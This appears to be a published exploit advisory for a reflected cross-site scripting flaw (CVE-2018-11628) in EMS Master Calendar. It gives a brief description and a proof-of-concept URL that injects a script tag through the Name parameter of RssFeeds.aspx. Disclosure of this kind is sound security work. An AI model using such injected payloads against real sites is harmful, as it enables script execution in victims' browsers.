EMS Master Calendar < 8.0.0.20180520 - Cross-Site Scripting

# Exploit Title: EMS Master Calendar < 8.0.0.20180520 - Reflected Cross-Site Scripting
# Date:  2018-06-01
# Exploit Author: Chris Barretto
# Vendor Homepage: https://www.emssoftware.com/
# Software Link: https://docs.emssoftware.com/Content/V44.1_ReleaseNotes.htm
# Version: Versions prior to 8.0.0.201805210 are vulnerable
# Tested on: Master Calendar v8.0.0.127
# CVE : CVE-2018-11628

# 1. Description:
# Data input into EMS Master Calendar before 8.0.0.201805210 via URL parameters are not properly sanitized,
# allowing malicious attackers to send a crafted URL and execute code in the context of the user's browser.

#2. Proof of concept:
# The following PoC URL is available:
https://example.com/MasterCalendar/RssFeeds.aspx?Name=abc<script>alert('XSS')</script>xyz